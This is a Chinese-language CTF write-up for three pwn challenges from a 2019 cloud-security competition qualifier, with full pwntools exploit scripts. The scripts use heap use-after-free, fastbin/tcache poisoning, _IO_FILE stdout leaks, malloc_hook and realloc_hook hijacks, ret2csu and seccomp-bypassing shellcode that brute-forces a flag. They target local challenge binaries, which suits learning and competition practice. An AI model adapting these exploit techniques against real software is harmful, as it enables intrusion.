2019数字经济云安全共测大赛初赛_pwn

  • 比赛一共3题pwn,两题入门,最后一题中等挺有意思,涉及到seccomp以及shellcode爆破flag

  • 题目地址: https://github.com/hacker-mao/ctf_repo/tree/master/2019%E6%95%B0%E5%AD%97%E7%BB%8F%E6%B5%8E%E4%BA%91%E5%AE%89%E5%85%A8%E5%85%B1%E6%B5%8B%E5%A4%A7%E8%B5%9B%E5%88%9D%E8%B5%9B

fkroman

  • 与De1CTF 2019 的Weapon基本一样,delete存在uaf,edit函数存在堆溢出,题目没有输出函数,所以要通过_IO_FILE来泄漏libc,

  • 具体思路为先free一个fastbin,然后利用堆溢出修改fastbin的size为0x91,再次free,此时chunk即会包含main_arena+88,而后再利用UAF将fd爆破指向stdout前的位置(包含合法size”\x7F”),进而修改stdout结构体的_flags和_IO_write_base来输出一段数据(包含libc_addr)
    leak后再次利用uaf修改malloc_hook为one_target即可get shell

exp

from pwn import *
#context.log_level = 'debug'


def sl(x):
    p.sendline(x)

def ru(x):
    p.recvuntil(x)

def sd(x):
    p.send(x)

def alloc(idx,size):
    ru('choice: ')
    sl('1')
    ru('Index: ')
    sl(str(idx))
    ru('Size: ')
    sl(str(size))

def free(idx):
    ru('choice: ')
    sl('3')
    ru('Index: ')
    sl(str(idx))


def edit(idx,size,cont):
    ru('choice: ')
    sl('4')
    ru('Index: ')
    sl(str(idx))
    ru('Size: ')
    sl(str(size))
    ru('Content: ')
    sd(cont)

def pwn(p):
    #gdb.attach(p)
    alloc(0,0x10)
    alloc(1,0x60)
    alloc(2,0x60)
    alloc(3,0x90)
    alloc(4,0x20)

    free(1)
    pay = p64(0)*3 + p64(0xe1)
    edit(0,len(pay),pay)
    free(3)
    free(1)
    pay = p64(0)*3 + p64(0x71)
    edit(0,len(pay),pay)

    #baopo stdout -> leak libc
    #0x7f61bcf41b78 -> 0x7f61bcf42620
    #0x7fa54b50bb78 -> 0x7fa54b50c620
    #1/16 chance
    pay = '\xdd' + '\x25'
    edit(1,len(pay),pay)
    alloc(5,0x60)
    alloc(5,0x60)
    pay = '\x00'*3 + p64(0)*6 + p64(0xfbad1887) + p64(0)*3 + '\x00'
    edit(5,len(pay),pay)

    p.recvuntil("\x7f")
    p.recv(2)
    libc_base = u64(p.recv(8))-0x7ffff7dd26a3+0x7ffff7a0d000
    malloc_hook = libc_base + 0x3c4b10
    log.success('libc_base : 0x%x'%libc_base)
    info('malloc_hook : 0x%x'%malloc_hook)
    one_gadget = libc_base + 0x4526a

    #uaf hijack malloc_hook -> one_gadget
    free(2)
    edit(2,8,p64(malloc_hook-0x23))
    alloc(2,0x60)
    alloc(2,0x60)
    pay = 'a'*0x13 + p64(one_gadget)
    edit(2,len(pay),pay)

    #trigger malloc_hook
    ru('choice: ')
    sl('1')
    ru('Index: ')
    sl('0')
    ru('Size: ')
    sl('10')

    
    p.interactive()

while True:
    try:
        p = process('./fkroman')
        pwn(p)
    except Exception as e:
        p.close()

amazon

  • tcache的题目,题目有uaf,uaf先泄漏libc,但是由于出题人错开了0x20写的位置,所以通过先free一个chunk进tcache,然后等填充满tcache时再double free,同时通过前向合并再malloc一个大的堆块可以对tache bin的fd进行修改,由于直接改malloc_hook不符合one_gadget的条件,所以通过realloc_hook和malloc_hook来出发one_gadget
from pwn import *
context.log_level = 'debug'

p = process('./amazon')

def sl(x):
    p.sendline(x)

def sd(x):
    p.send(x)

def ru(x):
    p.recvuntil(x)

def buy(item,many,size,cont):
    ru('Your choice: ')
    sl('1')
    ru('want to buy: ')
    sl(str(item))
    ru('How many: ')
    sl(str(many))
    ru('r note: ')
    sl(str(size))
    ru('Content: ')
    sd(cont)

def show():
    ru('Your choice: ')
    sl('2')

def checkout(idx):
    ru('Your choice: ')
    sl('3')
    ru('pay for: ')
    sl(str(idx))


for i in range(12):
    buy(0,30,0x80,'aaaa')

for i in range(8):
    checkout(i)

show()
for i in range(8):
    p.recvuntil('Name: ')

leak_addr = u64(p.recv(6).ljust(8,'\x00'))
info('leak_addr : 0x%x'%leak_addr)
libc_base = leak_addr - 96 - 0x3ebc40
info('libc base : 0x%x'%libc_base)
realloc_hook = libc_base + 0x3ebc28 - 0x20
malloc_hook = libc_base + 0x3ebc30
one_gadget = libc_base + 0x10a38c
libc = ELF('libc-2.27.so')
realloc = libc_base + libc.symbols['__libc_realloc']
checkout(3)
checkout(4)

pay = 'd'*0x80 + p64(0xb0) + p64(0xb0) + p64(realloc_hook)
buy(0,30,0x100,pay)

buy(0,30,0x80,'1')
buy(0,30,0x80,'1')
buy(0,30,0x80,'1')
buy(0,30,0xa0-0x28,p64(one_gadget)+p64(realloc+9))

gdb.attach(p,'b *0x5555555552e7')
ru('Your choice: ')
sl('1')
ru('want to buy: ')
sl('0')
ru('How many: ')
sl('10')
ru('r note: ')
sl('10')
#


p.interactive()

dark

  • 程序限制了只能执行mprotect,read,open的syscall,程序有明显的栈溢出,所以思路是先通过mprotect改bss为rwx,然后往bss段上写shellcode,open,read我们的flag到bss段上,最后再shellcode爆破,爆破思路如下,alarm+5的地址有syscall,所以我们可以先改alarm_got的地址为alarm+5即为syscall

  • 具体的思路可以参考https://ama2in9.top/2019/09/22/CloudSecCTF/#more

  • 以及写shellcode爆破flag的思路来源 https://bbs.pediy.com/thread-217899-1.htm

2019数字经济云安全共测大赛初赛_pwn_第1张图片
2019数字经济云安全共测大赛初赛_pwn_第2张图片
#coding:utf-8
import signal
from pwn import *

#context.log_level = 'debug'
context.binary = './dark'





def sl(x):
    p.sendline(x)

def sd(x):
    p.send(x)

def ru(x):
    p.recvuntil(x)

def csu(chunk,fake_rbp,r12,r13,r14,r15,call_addr):
    p6_ret = 0x401272
    mov_call = 0x401258
    pay = chunk + p64(p6_ret)
    pay += p64(0) + p64(1) + p64(r12)
    pay += p64(r13) + p64(r14) + p64(r15)
    pay += p64(mov_call) + 'a'*16 + p64(fake_rbp) 
    pay += 'a'*32 + p64(call_addr)
    return pay

def pwn(p,num,char):

    # rbx rbp r12       r13 r14 r15
    # 0   1   call_got  rdi rsi rdx

    #rbx rbp r12 r13 r14 r15
    p6_ret = 0x401272
    mov_call = 0x401258
    alarm_got = 0x404030
    read_got = 0x404038
    bss_addr = 0x404050+0x100
    main_addr = 0x4011F1
    leave_ret = 0x4011ef

    #read(0,bss,0x1000) -> stack migration
    pay = csu('a'*0x18,bss_addr,read_got,0,bss_addr,0x1000,leave_ret)

    #gdb.attach(p,'b *0x401261')
    sd(pay)

    sleep(0.1)

    #bss -> read(0,alarm_got,1)
    pay = csu('a'*8,bss_addr+0x100,read_got,0,alarm_got,0x1,leave_ret)
    pay = pay.ljust(0x100,'a')

    #bss+0x100 -> set rax
    pay += csu('a'*8,bss_addr+0x200,read_got,0,bss_addr-0x50,0xa,leave_ret)
    pay = pay.ljust(0x200,'a')

    #bss+0x200 -> mrpotect(0x404000,0x1000,7)
    pay += csu('a'*8,bss_addr+0x300,alarm_got,0x404000,0x1000,7,leave_ret)
    pay = pay.ljust(0x300,'a')

    #open('/flag')
    pay += 'a'*8 + p64(0x404460)
    pay += asm(shellcraft.amd64.linux.open('./flag\x00'))
    pay += asm(shellcraft.amd64.linux.read(3,bss_addr+0x500,0x50))
    flag_addr = 0x404650
    sc = asm('''
            xor rdi,rdi;
            xor rsi,rsi;
            xor rdx,rdx;
            push 0x404650;
            pop rcx;
            push 0x404750;
            pop rsi;
            mov rdx,0x100;
            ''')
    sc += asm('mov rbx,[rcx+'+str(num)+']')
    sc += asm('cmp bl,'+str(char))
    sc += '\x74\x08' #je 8
    sc += 'a'*8
    sc += asm('mov rax,0;syscall')
    pay += sc

    sd(pay)

    sleep(0.1)
    sd('\x45')

    sleep(0.1)
    sd('a'*0xa)


    #p.interactive()
    #sd('a')




def myHandler(signum, frame):
    #print 'cont : ',cont
    print 'index : ',index,'i : ',i
    cont.append(i)
    print cont
    if i == 125:
        flag = ''
        for j in cont:
            flag += chr(j)
        print flag
        exit()

index = 0
cont = []
m = 'bbb'

while True:
    for i in range(0x20,0x80):
        signal.signal(signal.SIGALRM, myHandler)
        signal.alarm(3)
        try:
            #print 'index',index,'i : ',i
            p = process('./dark')
            pwn(p,index,i)
            p.recvline()
            p.close()
        except Exception as e:
            p.close()
        finally:
            p.close()
    index += 1

2019数字经济云安全共测大赛初赛_pwn_第3张图片

你可能感兴趣的:(2019数字经济云安全共测大赛初赛_pwn)